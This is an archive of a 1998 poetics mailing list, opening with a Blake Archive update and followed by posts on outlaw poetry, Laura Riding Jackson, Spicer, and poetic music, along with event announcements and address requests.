These three works are Blake's final illuminated books, their composition dateable between 1822 (_The Ghost of Abel_, _On Homers Poetry [and] On Virgil_) and c. 1826-27 (_Laocoon_). In the words of Sir Geoffrey Keynes, they offer Blake's "Last Testament" on subjects ranging from aesthetic theory to political economy, from forgiveness to apocalyptic judgment. A drama in miniature, _The Ghost of Abel_ addresses "Lord Byron in the Wilderness" (plate 1) and, more specifically, the issues of vengeance and forgiveness raised by Byron's _Cain: A Mystery_ (1821). The broadsheet _On Homers Poetry [and] On Virgil_ challenges these representative figures of classical learning, with special emphasis on concepts of unity as an artistic ideal, identity, and the destructive consequences of imperialism. There are five copies extant for each of these works, which, like most of Blake's illuminated books, were produced in relief etching; the _Laocoon_ plate, which is an intaglio etching/engraving, is extant in two copies. Through a careful representation and restoration of the famous Hellenistic sculptural group, Blake attempts to return the _Laocoon_ to its supposed Hebraic origins and its allegorical meanings, revealed by the terse yet intellectually expansive texts with which Blake surrounds the central image.

All of these editions have newly edited SGML-encoded texts and are all fully searchable for both text and images and supported by the unique Inote and ImageSizer applications described in our previous updates. We now have twenty-six copies of sixteen illuminated books in the Archive. Late this year and early in the next, we will add _Milton_ copy D and _Jerusalem_ copy E. We will also be adding at least six more copies of _Songs of Innocence and of Experience_, two copies of _Songs of Innocence_, five copies of _The Marriage of Heaven and Hell_, four copies of _The Book of Urizen_, and two copies each of _America, a Prophecy_ and _Europe, a Prophecy_. In addition, by the end of 1998 we will provide a fully-searchable SGML edition of David V. Erdman's _Complete Poetry and Prose of William Blake_.

In the coming weeks we will also be opening a brand-new wing of the Archive, consisting of an extensive array of supporting materials: an updated and expanded Plan of the Archive, a statement of Editorial Principles and Methodology, a summary of the Archive's technical design and implementation, a list of Frequently Asked Questions, an in-depth illustrated Tour highlighting the Archive's features and some ways to use its resources, and more. Our hope is that these extensive documentary materials will prove valuable both to our own growing user community as well as to scholars interested in the theory and practice of electronic editing more generally. We will make a separate announcement when these materials are available on the site.

Finally, on our recently opened Contributing Collections page, we plan to begin adding color-coded and linked lists of each institution's entire Blake collection to indicate what is and is not in the Archive and what is forthcoming. In addition to providing a convenient index of the scope and contents of the Archive, these lists should also be useful to scholars in planning research trips.

Morris Eaves, Robert Essick, Joseph Viscomi

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499. **Jacques Debrot**
Re: OUTLAW POETRY
Thu 15 Oct 1998

Reva Wolf, in her book _Any Warhol, Poetry & Gossip in the 1960s_, has a somewhat more subtle take on this topic. Discussing Berrigan's plagarisms (petty crimes) she writes: "The poet, in short, is a criminal because he does not receive a regular payment for his work; his work is illegitimate." As she observes, Berrigan's theft of words was not only metaphorical; being broke -- not having a legitimate job --Berrigan regularly stole books as well, something he incorporates into his idea of who he was as a poet -- sampling, I don't think, is as interesting a practice without the tang of theft attaching to it.

--j

↑ Index

500. Todd Baron /*/ ReMap
Re: OUTLAW POETRY
Fri 16 Oct 1998

[redacted] wrote:
>
> "Overcome the angry by love
> and the evil by good.
>
> Overcome the greedy by generosity
> and liars by truth.
>
> -the Buddha
>
> I'm sorry that you no longer believe in the power of poetry to change the
> world...
> you are not alone in this view. But I am one who believes that it does.
>
>

huh?

I simply do not believe in an old cliche--

artist/poet as "outlaw"

as a writer I do not position myself OUTSIDE of society--
as the term OUTlaw seems to say--oddly enough--
that one has broken some/thing (a law?)--and that
writing a poem for me would not --no--change the world

nor would I want it too.

Todd Baron
(ReMap)

ps: poet as outlaw seems so--well--quaint!

↑ Index

501. Stephen Cope
Re: Bows/Bios, Arrows/Eros
Fri 16 Oct 1998

Gary,

What a lovely post (although it's _apeiron_, and not aporia, although the root may be the same(?)). Love, of course, for Spicer - for whom the 'one night stand' was a thing of the past by the time of what's in the _Collected Books_ - is a serious and tragic issue, perhaps precisely because of this language from which one cannot escape. Language draws distinctions. It parses, separates, supperates. (G. Spencer-Brown's extraordinary thesis in _Laws of Form_: "a universe comes into being when a space is severed or taken apart..."). This, for me, gives rise to magic:

"Things fit together. We knew that -- it is the principle of magic. Two inconsequential things can combine together to form a consequence."

Spicer, to Blaser, in _Admonitions_

In Olson, for example, (the Olson for whom a faith in coherent cosmology, based in pre-Socraticism, is everywhere apparent) nothing is inconsequential: each unique event is underwritten by a cosmological 'truth'. In Spicer, "nothing" is inconsequential: everything else is like blocks of wood knocking against one another, creating magical truths which are multiple and conflicting - and never resolute. (Heraclitian strife indeed...). (?)

I'm still coming to terms with much of your post, but I'll send this along for now, for momentum's sake...

Stephen

PS- In Nate Mackey's _Bedouin Hornbook_ (the first letter of which is cc'd to Spicer and Lorca), N. recalls a drummer once telling him that "if the harmony of the spheres were to come near me, I'd pop it upside the jaw..." I wonder how this might apply to Spicer, or might describe his stance w/ regard to the wholeness cosmology implies? There's another great passage as well, where N.'s describing a piece of music:

"Graspability is a self-incriminating thirst utterly native to every hand, an indigenous court from which only the drowned hope to win acquittal. The piece makes use of two triadic phrases which I call utility riffs: 'Whatever beginnings go back to' and 'an exegetical refusal to be done with desire.' These generate a subtheme which could put as follows: Thirst is by its nature unquenchable, the blue lips of a muse whose refusals roughen our throats with duende."

I hope I've not broken orbit here, but might this inform a reading of Spicer? Of the tension of form and formlessness as the crux of erotic law? (Love looking for space before severance, for 'whatever beginnings go back to...")?

↑ Index

502. Fred Muratori
Nobody's Laura (Riding) Jackson
Fri 16 Oct 1998

From my limited knowledge of L(R)J -- based largely on _Selected Poems in Five Sets_, smatterings of her prose, and what some others have accurately or inaccurately written about her -- I'd guess she'd chafe at the idea of anyone (even Chris S.) appropriating her work/ideas in any remotely "personalized" way -- my, our, whoozit's -- because that approach would contradict her more "universally" apprehensible aspirations. The woman seemed to be mercury -- try to hold her in your hand and she scatters into a zillion pieces: no, she wouldn't mean what you mean her to mean at all, even if she meant to be meant that way originally. But I find her interesting for that very reason.

When I was in my grad creative writing program 20 years ago, L(R)J was PNG. A friend of mine who wanted to study her poetry was met with a monolithic (and, if I remember, self-righteous) No; hearing the echo all the way back in my shabby, mouse-ridden apartment, I took the hint and stayed away too. Oh yeah, I snuck a look at her now and then (flashlight under the covers so the Poetry Police wouldn"t catch me) and didn't find much I connected with. But then, as I got used to reading the Objectivists, the Projectivists, Language Poets, un po' dei Novissimi, and other non-representational schools, the L(R)J poems that I ran across became easier to read. I belatedly realized that L(R)J's unique talent to piss *everybody* off is the fun of the paradox. For decades, she undermines the ideas that representational poets and critics -- like realist landscape painters -- have dedicated their lives to: capturing Truth via poetry. Then along comes postmodern indeterminacy and the idea that it's okay not to expect Truth from poetry/language, that in fact such Truth -- if there even is such a thing -- eludes communication by such means ("This is not exactly what I mean/Any more than the sun is the sun" -- uh, Mr. Bronk? Ms. (Riding) Jackson on line 3). Match made in heaven, no? No, because L(R)J still insists that Truth exists, and that its transmission through language is possible, albeit not via poetry. That Absolutist thing again.

If I visualize all our 20th-century thinking-about-poetry as an ouroboros, then to me L(R)J marks the point where the serpent has his tail and eats it, too. Like it or not, it's a fairly special (even stimulating) position to occupy. Sure, as Prof. Perloff says, the language of L(R)J's poems can be "abstract" and "stilted," but I've thought the same way about Creeley at various times. And Pound. And St. Gertrude. And Olson. And H.D. And dozens of tweedy 1950/60's formalist poets whose books I keep re-buying at used book sales because I keep forgetting I already had them and didn't like them and actually donated them to the sale to begin with.

The Cornell symposium -- the very idea of which Prof. Perloff found "bizarre" -- was really a blast (within restrained academic limits, of course) because all the contradictions surrounding L(R)J's work were together in one room, squeaking and flopping against each other. It was certainly fascinating to me, and I'm not a cult follower by any means. Admire her or not, L(R)J is there like the stone wedged in your roto tiller: eventually you'll have to try to extract it without losing some fingers.

-- Fred M.

Fred Muratori
Reference Services Division
Olin - Kroch - Uris Libraries
Cornell University
[redacted]
http://fmref.library.cornell.edu/spectra.html

****

"The spaces between things
keep getting bigger
and more important"

-- Jon Ashbery
****

↑ Index

503. **Dale Smith**
Re: OUTLAW POETRY
Fri 16 Oct 1998

There's a touch of Hermes, patron of thieves, in poets ('tis said). (Mercury gave Apollo his lyre). Maybe it's part of the package... like it or not... contradicting (or supporting?) the message with deviant social behavior... secrecy, passage, a swiftness of mind and hand...

>Reva Wolf, in her book _Any Warhol, Poetry & Gossip in the 1960s_, has a

>somewhat more subtle take on this topic. Discussing Berrigan's plagarisms

>(petty crimes) she writes: "The poet, in short, is a criminal because he does

>not receive a regular payment for his work; his work is illegitimate." As

>she observes, Berrigan's theft of words was not only metaphorical; being broke

>-- not having a legitimate job --Berrigan regularly stole books as well,

>something he incorporates into his idea of who he was as a poet -- sampling, I

>don't think, is as interesting a practice without the tang of theft attaching

> *to it.*
>
> *--j*

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↑ Index

504. Fredrik Hertzberg LIT

CFP: "A World of Local Voices", Saarbruecken, Oct 22-23 1999 (fwd)

Fri 16 Oct 1998

---------- Forwarded message ----------
>Date: Fri, 16 Oct 1998 10:37:27 +0300 (EET DST)
>From: Mikko Keskinen <[redacted]>
>To: kulttuurintutkimuksen verkosto <[redacted]>
>Subject: CFP: "A World of Local Voices", Saarbruecken, Oct 22-23 1999
>X-Mime-Autoconverted: from 8bit to quoted-printable by tukki.cc.jyu.fi id KAA27612
>X-MIME-Autoconverted: from quoted-printable to 8bit by ra.abo.fi id KAA21534
>
>
>CALL FOR PAPERS
>
>A World of Local Voices: English Language Poetry Today
>
>Universität des Saarlandes
>Saarbrücken, Germany, October 22-23, 1999
>
>Today, when the terms of "local vs. global," "center vs. periphery"

>are being re-thought and re-defined in all areas of knowledge,
>poetry, always the spear-head of the literary avantgarde, is
>one of these areas. Poetry, by definition intensely personal
>and local, but today increasingly global in its references,
>languages, and readership, thus awaits examination from
>premises other than purely nationally ori-ented ones. Similarly,
>when literature is no longer wielded as a weapon in the cultural
>battles of national states, redefinition of critical concepts
>is urgently needed. In the future, the term "local," for instance,
>would have to transcend national catego-ries, subsuming similar
>properties of the identifiably individualistic.
>
>The common reference of this conference is poetry written in all
>the varieties of the English language, including translations.
>
>We hope to be able to welcome several poets at the conference.
>
>Please send your proposals for a presentation by March 15, 1999
>to
>Prof. Dr. Klaus Martens
>Nordamerikanische Literatur und Kultur
>FR. 8.3 Anglistik, Universität des Saarlandes
>PF 15 11 50
>66041 Saarbrücken
>[redacted]
>
>If you have interest in a particular topic worth examining in
>more tan one presentation please send your suggestion to the
>address above a.s.a.p. Please also indicate whether you would
>like to chair the proposed session.
>
>
>
>
>
>
>
>**********
>My new e-mail address is: [redacted]
>
>Jaap Verheul
>History Department, Utrecht University

>Kromme Nieuwegracht 66
>3512 HL Utrecht
>The Netherlands
>tel. [redacted] fax. + 31 30 [redacted]
>**********
>
>
>

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505. **Pattie McCarthy**

Fwd: Philadelphia Poetry Reading Announcement

Fri 16 Oct 1998

This is a multi-part message in MIME format.

--part0_908542651_boundary

--part0_908542651_boundary

From: [redacted]
To: [redacted]
Subject: Philadelphia Poetry Reading Announcement
Date: Fri, 16 Oct 1998 08:05:04 EDT

To all those in and around Philadelphia:

5 Corners Free Poetry Series is pleased to announce:

Saturday, October 24th, 7 p.m.:
New York poets
GARRETT KALLEBERG & HEATHER RAMSDELL
read @ GEORGE'S 5th STREET CAFE
(5th St. bewteen Lombard & South Sts in Center City)

Garrett Kalleberg is the author of *LIMBIC ODES*. His poetry and criticism have appeared in Mandorla, Sulfur, First Intensity, American Letters & Commentary and many other journals. He edits the web poetry journal THE TRANSCENDENTAL FRIEND.

Heather Ramsdell is the author of *LOST WAX*, selected by James Tate as one of the winners of the 1997 National Poetry Series competition; the book was recently published by the University of Illinois Press and reviewed in the St. Mark's Poetry Project Newsletter (Oct/Nov issue).

The authors' books will be on sale at the reading, as will other local-based poetry magazines and small press issue, including the premier issue of *ixnay*

magazine, featuring large selections from many Philadelphia poets. Please join us and bring any small press issue you might have to sell/barter/trade.

For questions/directions/info e-mail: [redacted]
Hope to see some of you there.

The following are excerpts from Garrett Kalleberg and Heather Ramsdell's poetry:

Garrett Kalleberg, from "An Undisturbed Song of Pure Content"

There is a thing
or there are several things
which, recollected, are one thing
and this thing is a thought
or is a way of thinking
or is a way of undergoing
in the way that the tree grows
in the wind outside
the window, in the way that
the gate closes and footsteps are carried
down the street until the hand is frozen

in silence, then
scratches away again

Heather Ramsdell, from "Surd"

I am a hand on an arm, I thought
metonymous, at least, but am a bag
of parts. Sound falls out of me and in me.
It goes, if X, then Z. It says,
An antique object fell from these, and did not break or broke.
and music says, seductively,
permission--a form of imprisonment.
persimmon--the fruit of a tree
dangles, thus

thus verisimilitude,
and cannot reconcile itself.

These are not things
not images not things not
matter.

Tic tic.
A pebble in a tin cup, nothing

enough, though no one saw gravity either
carry the avalanche into the valley today.

--part0_908542651_boundary--

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506. **Gwyn McVay**
Re: Bows/Bios, Arrows/Eros
Fri 16 Oct 1998

>>>What a lovely post (although it's _apeiron_, and not aporia, although the root may be the same(?))

Thank heaven I know this word now. There's a Macintosh shareware game, much like the venerable Centipede, called Apeiron, and we used to sit in the cave huddled around our monitors calling it "ape iron," wondering what on earth was going on in the game designer's head.

Gwyn

↑ Index

507. **Gary Sullivan**
"Centipedes, Gorillas & Burns, bay-bay, Burns" is not a cliche. Sadly, it's a really stupid title for a post.
Fri 16 Oct 1998

Gwyn! In the mid-80s I was addicted to Centipede and could not, by myself, physically walk away from a Centipede game if I still had quarters in my pocket. But, as to "ape iron" ... you know, Gerald Burns' long poem on narrative ("A Workbook for Readers") begins with an ape (a gorilla, I think) tearing an iron radiator from the wall. (This is the same poem that uses Salt & Pepper for, oh, I'm pretty sure, little signifiers for Subject & Predicate. Maybe?) So, narrative (conflict/as in "war is the king & father of all things"--Heraclitus, again) is that which, violently?, appears "out of nowhere" from misty (play "Gorillas in the Mist" for me, bay-bay) apeiron. A word, Stephen, I totally fucked up in my post cuz I idiotically trusted my memory. Which is (obviously) not so good.

Which all leads me to this question: I got a backchannel from William Sylvester about Gerald Burns (Bill wrote on him for the last _House Organ_) and I'm wondering, does anyone else out there read Burns? And does anyone know the fate of The Myth of Accidence? Did he ever finish the 12th book? Did he ever name the 11th? Are there plans to publish it? If you _don't_ read him is it cuz he was, okay, kind of a "difficult" personality? Or cuz you think his writing sucks? Or, like, what?

Stephen, thank you SO much for pointing out the swan/sign pun. I'm gonna take your two last posts home with me 2-nite & go back to _Language_ this weekend.

Eliza, did you know: Cliche was a printer's term for ready-2-use letter combos (& maybe whole phrases?--Charles Alexander, do you know?).

Bye for now, I have a bag of baby carrots to attend to,

Gary

↑ Index

508. **Douglas Oliver**
Re: neutral tunes
Fri 16 Oct 1998

Can't let this one go. I was glad Henry provided further clarity, because it makes our difference clearer. I withdraw ur-music comment. But why when someone talks of poetic "music", do people so frequently redefine that word to "rhythm" as if no change in the argument had taken place?

Melody and beat are obviously inextricably related. The mental concept of stress seems to be formed partly by pitch -- along with duration, loudness, voice quality, pausing, tempo, mental weighting, proactive and retroactive expectation, and various other things. Via pitch and other sonic factors, therefore, melody is a co-partner with rhythm. But if no one would think of reducing a song to its beat, why do so many people do that with poetry?

Isn't this one reason why the young are so rarely taught in schools that much poetry works, basically, in the same way as song? I agonise often over these constantly missed chances to turn them on to the craft. The main differences are that poetry has no time signature or tonic system, there is no such thing as a flat note, the intervals are usually smaller than in song, and the tempo is usually more variable. Traditional metrics only partly substitute for this and in my experiments do not impose tempo from one line to the next.

To talk of language's division into syllables and reassemblage into words would certainly indicate that a sort of unversality underlay poetic music. Let me agree tentatively that this provides a basis for all spoken poetic music. But it doesn't disrupt either my testing procedures (which are not, I emphasise, "scientific" but merely illustrative) or my sense of neutral tune -- any more than the provision of separate notes on a guitar and their combination into chords decides what tune is played. Or is a better analogy with music's tonic system? I don't know. Whatever these universals are, then, would represent the way language is "strung" and perhaps this, or "language tonicity", limit the (immense) number of permissible combinations of sounds. But, that limitation is at a very far remove, and I'm not so sure the combinations aren't infinite. Will pop music run

out of tunes when all mathematical combinations of notes have been run through? Possibly, because the tonic system permits far fewer permissible combinations than language, but even so the number is pretty large.

Divisions, syllables (very difficult to delimit, actually), words, yes. Beat yes. The beat in ordinary convresation, however, is not "standard" but depends upon emotional and intellectual stressing of myriad kinds, even though it tries to tend towards isochrony. If we confine the argument to "beat", I'd agree this move towards regularity is influential. But it would not quite get at "neutral tune'".

For music is, as always, a creation out of existing elements of sound, and even with a time signature its beat never achieves isochrony -- a good drummer is not a metronome, because pitch and beat are inextricable, flow is inextricable from instant, and feelings influence the pulse of things. In poetry, add much greater freedom of tempo etc., intellectual weighting, and so on. What I'm talking about is the neutral sense that arises from that very mysterious process, and I repeat that it's ineffable, even though I'd agree with Henry that it is influenced in its shaping by syllable (that slightly fluid entity) and word (another entity which can fluidly join onto following words, e.g. via voicing, as I have shown).

Doug

Henry said:

We still seem to be talking at cross-purposes - I'm not suggesting ur-music at all - I'm questioning your testing method. If the process of breaking sounds into syllables & reassembling them as words is universal to language, isn't it possible that this universal is disrupting your experiment? How can you say you detect a "neutral music" underlying variations in performance without taking this into account? That is all I'm saying. The process of syllable- and word-formation might establish a sort of standard rhythm for all speech, which might be what you are hearing - the sameness of the same. - Henry G.

↑ Index

509. **henry g**
Re: neutral tunes
Fri 16 Oct 1998

Doug, all power to your investigations of these ineffable musical qualities. Perhaps the word "neutral" led to my associating music merely with rhythm. However, even if you took pitch etc, into account, it seems like any regularities you discovered beneath variations in performance would have to be balanced against the consideration of possible "sound universals" in all speech. Though you may certainly be onto something - wouldn't you have to show that these

were poetic regularities, and not simply measurements of internal constants basic to language itself? - Henry

↑ Index

510. **Poetics List**
Doombook (fwd)
Fri 16 Oct 1998

F.Y.I.
---------- Forwarded message ----------
Date: Thu, 15 Oct 1998 13:38:29 PDT
From: maya gurung <[redacted]>
To: [redacted]
Subject: Doombook

Could you please announce the publication of Doombook by Michael Price from The Figures. Copies can be purchased from the author or The Figures by sending a check for ten dollars (post-paid) to:

Michael Price
766 Valencia St.
San Francisco, CA 94110
(check payable to Michael Price)
or

The Figures
5 Castle Hill
Great Barrington, MA 01230
(check payable to The Figures)

↑ Index

511. **raea100900**
address request
Fri 16 Oct 1998

Dear List Folk,

I hope someone will be able to give me Juliana Spahr's e mail and/or street address. I will put it to good use.

Rae Armantrout

↑ Index

512. Thomas Bell
D=E=R=A=N=G=E=M=E=N=T
Fri 16 Oct 1998

Does D=E=R=A=N=G=E=M=E=N=T bear any relation to renga or the range poets of a few years back?

tom bell

Laura E. Wright wrote:
>
> > This chapbook In Aethers of the Amazon is truly deranged.
> >
>
> I've been trying all day to come up with a real opposite of cliche (one issued
> raised by Ted Fristrom) and I think "truly deranged" is a pretty good one.
>
> Good derangement cannot be taught, though some learn it on their own, whether
> their early cliches are harshly criticized or not.
>
> The D=E=R=A=N=G=E=M=E=N=T school poets have usually never met each other, in fact,
> some of them have never met anyone at all.
> --
> Laura Wright, Library Assistant
> Allen Ginsberg Library, The Naropa Institute
> 2130 Arapahoe Ave
> Boulder, CO 80302
> [redacted]
> * * * * * *
> "Then there was a situation with tufts (and flowers). This did not agree
> with me either, and time just kept on passing."
> (Henri Michaux)

--
<><><>

http://members.home.net/trbell/start.htm
http://home.talkcity.com/EaselSt/trbell/Blackwho.htm

↑ Index

513. Susan Schultz
Re: address request
Fri 16 Oct 1998

Juliana Spahr's email is [redacted].

sms

↑ Index

514. Aldon Nielsen
Re: Nobody's Laura (Riding) Jackson
Fri 16 Oct 1998

I've lurked at the edges of the Laura Riding Jackson conversation these last days, partly because I've never adequately explained to myself why it is I keep reading her poetry.

One thing, for sure, has changed in the LRJ reception in recent years. The first MLA panel I ever attended devoted to her work began with the reading of a lengthy and fairly convoluted letter from LRJ, the gist of which seemed to be that she didn't hold out much hope for the endeavor -- I half expected a posthumous posting from the former poet to the recent conference --

LRJ still believed that there was "truth," but that it couldn't be communicated through poetry -- My own sense is that "truth" only exists as a relationship among statements, and is thus as readily available in poetry as anywhere else --

I await her judgement --

↑ Index

515. Thomas Bell
Re: in the mood...
Fri 16 Oct 1998

per Alcorn (_Narcissism and the literary libido_, 1994) Foucault also asserts in the same source text that those "aspects of an individual which we designate as an author...are projections of our way of handling texts"

As a practitioner I am curious how you (and others) would see these quotes applying (or not) to the phenomenon of "interactive" fiction and poetry on the internet. As "author/participant" I don't see interactivity on the internet as significantly (to my disappointment) different than available in print works?

Alcorn also argues that critics are prone to ignore complex theories implied in their use of terms which leads to vagueness in their use of concepts at times. E.g., Lacan and Kristeva are primarily practitioners while those who use their terms are generally neither primarily analysts or poets.

tom bell

Joe Amato/Kass Fleisher wrote:
>
> yknow typically i read poetics b/c i want insight into, not the critical
> apparatus per se, but the more generative side of the
> author-text-reader-context continuum...
>

--
<><><>

Hickok suggested a baseball motif for the cover of _On Days Like This_, which features 100 of Quisenberry's poems, about half of which are about baseball. "We had quite a fight about the cover," Vando Hickok said in her office, which is in a 90 year old house called The Writer's Place. "I thought it would be wonderful to have a cover of Dan or some baseball topic. And he said, 'absolutely not!' He said he'd like a Kansas landscape. We did three mockups from different area artists. This one he liked. The clouds reminded him of ice cream cones." ....The five time American League Fireman of the Year always said the best part of writing baseball poems was that it helped him get over the game. In 1994, Quisenberry became a student in the Wednesday night poetry-writing workshop run by Vando Hickok at The Writers Place. He was one of 14 students sitting in a circle in the former living room of the old house. He was nothing more and nothing less than his fellow writers. "He didn't put on any airs," Vando Hickok said. "He was very generous and considerate of his comments. He wrote some interesting poems, and I showed him 'Night Baseball' a phenomenal poem by (Wichita writer) Michael Blumenthal. He said, 'Well, I have some baseball poems.' He brought them to me. They were so good...." Vando Hickok chose three of Quisenberry's poems and published them in a 1995 pamplet called _Down and In_. Quisenberry's writing carried a rhythm that was seasoned with a rare air of humility. He was an undrafted baseball player who begged for a tryout with the Royals in 1975. As a pet, he understood economy and liked to play around with style.... Quisenberry's poem "Baseball Cards" appears in _Down and In_ and in _On Days like This_. It begins

that first baseball card i saw myself
in a triage of rookies
atop the bodies
that made the hill
we played king of
i am the older one
the one on the right
game-face sincere
long red hair unkempt
a symbol of the 70s
somehow a sign of manhood
you don't see
how my knees shook on my debut
or my desperation to make it...

The poem concludes...

i look back
at who i thought i was

or used to be
now, trying to be funny
i tell folks
i used to be famous
i used to be good
they say
we thought you were bigger
i say
i was

Quisenberry's teammates remember him as an avid reader, but they don't recall him trying to write poetry until afer he retired in 1990. "I've read his poems, and he even put me in a couple, for which I'm flattered," said Willie Wilson, a former Royals and Cubs centerfielder. "He had a gift for words. He was always reading on the plane. He always made us laugh. He made us feel like we were good human beings." Paul Splittorff, the winningest pitcher in Royals history, was one of Quisenberry's teammates from 1979-1984. "Dan was the kind of guy who walked around and noticed the simple things in life" Splittorff said. "I had a feeling he had depth to him when we played. People said, 'Baseball player and poetry?' I told people he was more like a poet than he was a baseball player. He was gracious. He was Gentleman. He was out of character as a relief pitcher. He wasn't intimidating." Qusenberry received his first royalty check in June and planned to teach a poetry workshop this fall. But fate had other plans. Quisenberry made his final public appearance May 30, when more than 30,000 fans at Kauffman Stadium saw him get inducted into the Royals Hall of Fame. Along with his wife, Janie, anad their teenage children, Alysia and David. Quisenberry was active in the Colonial Presbyterian Church in Kansas City, where a memerial service was held the day before the golf tournament. Quisenberry left behind some unpublished poems.... Ice Cream cones melt away, weven when they are drams floaating through the sky, but Quisenberry kept aa solid commitment to family, community and friends. His poems articulate a faith, which is why his spirit would never be diminished.

glancing at her husband
of twenty-nine years
his nose in the sports pages
she thinks
dosomethingsaysomethingbreaathedammitIcan'ttakethis
anymorelife'swaytooshortIgottabe betterthan
boxscores

he drops the paper, says
'the red sox are out of it,
let's go to the hills and pick blueberries"

and she thinks
Iloveyousomuch

Not much along the lines of formal innovation, but I'd like to see one of America's avant-garde poets get three outs in the bottom of the ninth inning of a close game.

David Zauhar
University of Illinois at Chicago

"And I remember somebody leaning up against the dirt wall of the hillside, deriding William Carlos Williams, when suddenly there was a loud roaring, crunching noise and a chunk of the hill fell off and covered the person up to his neck. The person, being a young classical poet fresh from NYU, begun screaming that he was being buried alive. Fortunately, the landslide stopped and we dug him out and dusted him off. That was the last time he said anything against William Carlos Williams. The next day he began reading _Journey to Love_ rather feverishly."

--Richard Brautigan.

↑ Index

517. Simon DeDeo
Aubade, found
Fri 16 Oct 1998

My hair is up.
It is in pleats, it is tied, it has been
divided in groups, three of them,
and each group has been laid,
in sequence,
to effect _flowers_.
_Free_delineations_ have I drawn
upon my world, I arrange
these rooms as I wish,
introducing curtains against this citys light,
doomed city, Priams sorrow. With this sun,
a day of labor, working _outlines_
_intertwined_with_one_another_
_without_design_
_and_called_conventional_foliage_.

↑ Index

518. Hannah J Sassaman

My Poem About Hair

Fri 16 Oct 1998

Not sure if this is kosher... do we share poems here? Yes? No?

Anyway, here it is. Comments and criticisms more than welcome.

Hannah

KNOT

Who can knot
hair like night?

(She knows girl-
children long

for smoothness,
neatness. She

ties my hair in
wet plaits. The

tight curls quiet
their insistency

under the tapestry
of night-black braids.)

****

Hannah Jane Sassaman

School Address: Home Address:
4009 Pine St. 42 Framingham Lane
Philadelphia, PA 19104 Pittsford, NY 14534
[redacted] [redacted]

Talk not of wasted affection; affection never was wasted.
-- Henry Wadsworth Longfellow

My father warned me about men and booze, but he never mentioned a word about women and cocaine.

-- Tallulah Bankhead

↑ Index

519. Joe Amato/Kass Fleisher
Re: in the mood...
Fri 16 Oct 1998

tom, foucault's thinking, in that piece in fact, along with the work of other structuralists and poststructuralists, led george landow some years ago to speculate in precisely the directions you suggest... so rather than offering my thoughts here, i'll simply cite landow's _hypertext: the convergence of contemporary critical theory and technology_ (johns hopkins, 1992; landow cites "what is an author?" four times)... a follow-up volume of essays edited by landow, _hyper/text/theory_ (johns hopkins, 1994), challenges any easy equations between cont. theory and new media... if you've looked at either/both of these and are interested in what we can say *now*, with five more years of web/internet experience under our cultural belt, my apologies for being so pedantic (!)...

anyway, i've found both volumes of use in trying to sort out the issues, though the tendency is to deal with narrative rather than poetry... there's lots more 'out there' too...

best,

joe

↑ Index

520. Peter Balestrieri
Christopher Alexander's Email Address
Fri 16 Oct 1998

Hi,
Does anyone have Chris Alexander's new email address? Chris, if you're reading, please drop me a line.
Thanks,
Pete

↑ Index

521. P.Standard Schaefer
Seeing Eye
Fri 16 Oct 1998

People looking for Guy Bennett to check out Seeing Eye books can find him at

[redacted]

↑ Index

522. **Pritchett,Patrick**
Re: WCW quote
Fri 16 Oct 1998

Loath though I am to reveal my ignorance, I'd appreciate it if someone cld backchannel me the source and/or full quote for WCW's "A poem is a machine made of words." I'm delivering a little poetry talk to a captive freshman Intro to Poetry class for a professor of mine (it's Sue Zemka, Maria...) and need it by Tuesday.

Thanks,
Patrick Pritchett

↑ Index

523. **Linda Russo**
Alexander email, Christopher
Fri 16 Oct 1998

Peter B & all NEW ADDRESSES PLEASE NOTE

that i just happened to be slumming the archives

chris alexander be at

[redacted]

19 Hodge Ave. #9
Buffalo NY 14222

still accepting stuff for nominitive press i believe

* * * *

Linda Russo
[redacted]

↑ Index

524. **r. drake**
Re: WCW quote
Sat 17 Oct 1998

---

pat--

i asked th same question here about a year ago, for the intro to our site (http://www.burningpress.org/gallery/gallery.html) ov the same name... here's what i got (minus my elisions, sorry 'bout that):

Machine Made of Words:

"To make two bald statements: There's nothing sentimental about a machine, and: A poem is a small (or large) machine made of words... Prose may carry a load of ill-defined matter like a ship. But poetry is the machine which drives it, pruned to a perfect economy. As in all machines its movement is intrinsic, undulant, a physical more than a literary character... When a man makes a poem, makes it, mind you, he takes words as he finds them interrelated about him and composes them--without distortion which would mar their exact significances--into an intense expression of his perceptions and ardors that they may constitue a revelation in the speech that he uses. It isn't what he says that counts as a work of art, it's what he makes."
--William Carlos Williams, from "Authors Introduction to The Wedge"

i've always liked that, machines being tools with which we do work...

lbd

> *Loath though I am to reveal my ignorance, I'd appreciate it if someone cld backchannel me the source and/or full quote for WCW's "A poem is a machine made of words." I'm delivering a little poetry talk to a captive freshman Intro to Poetry class for a professor of mine (it's Sue Zemka, Maria...) and need it by Tuesday.*
>
> *Thanks,*
> *Patrick Pritchett*

↑ Index

525. **Douglas Oliver**
Re: neutral tunes
Sat 17 Oct 1998

Henry: Many thanks for your last message. Very likely there's an influence from language's internal restraints, but the primary sonic determinants of the pitch/duration/voicing traces that I obtain are either sub-segmental -- the quasi-instant of "stress" in all its ill-defined mystery -- or supra-segmental -- durations of pitch and voicing that often exceed the borders of syllables and can on rare occasions weld almost 9/10ths of a line together. One favourite example of this, is Chaucer's "And bathèd every vein in swich licour" which, in Middle English pronunciation, doesn't dislocate voicing or pitch until "-cour", so that any syllabic effect, or "restraints" syncopate within an overall, continuous sounding. Similarly, Wyatt's "So unwarely was never no man caught", which I've referred to, will not dislocate until "caught" if a reader is sensitive to the possibilities of continuous voicing in the earlier part of the line. This voicing possibility is perhaps a hint of your restraints, but other readers (less sensitive, perhaps) don't always profit from it and make an unnecessary intonation break which spoils

the line very slightly. If you drone the voicing continuously and also undulate the pitch of "So unwarely was never no man" (making a "z" out of "was" to keep the voicing), you can create a sudden and tiny effect of the poet being "caught" at the end of the line, when the voicing necessarily breaks to create the transition from "n" to back-of-throat "c". This slightly accentuates the meaning and emotional significance of the line. But rather than "restraints" there, I prefer to speak of possibilities the language voicing "code" creates for a performer to exploit. That is, they are not so much "poetic regularities" as possibilities exploited in similar ways by different performers, whose interpretations roughly converge in that way.

